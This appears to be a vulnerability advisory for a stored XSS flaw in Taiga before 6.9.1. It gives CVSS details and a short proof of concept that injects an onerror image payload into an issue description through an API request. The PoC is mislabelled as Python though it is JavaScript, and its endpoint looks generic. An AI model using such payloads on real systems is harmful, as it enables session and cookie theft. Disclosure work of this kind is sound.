Taiga is a project management platform for startups and agile developers. Prior 6.9.1, Taiga front is vulnerable to stored XSS. This vulnerability is fixed in 6.9.1.
CVSS Details
CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Taiga < 6.9.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for Stored XSS in Taiga < 6.9.1
// Attacker injects payload into a vulnerable field (e.g., Issue description)
var payload = '<img src=x onerror=alert(document.cookie)>';
// Simulated request to create/update an issue
fetch('/api/v1/issues', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer <ATTACKER_TOKEN>'
},
body: JSON.stringify({
"subject": "Urgent Issue",
"description": payload
})
});
// When an admin views this issue, the alert triggers, demonstrating cookie theft.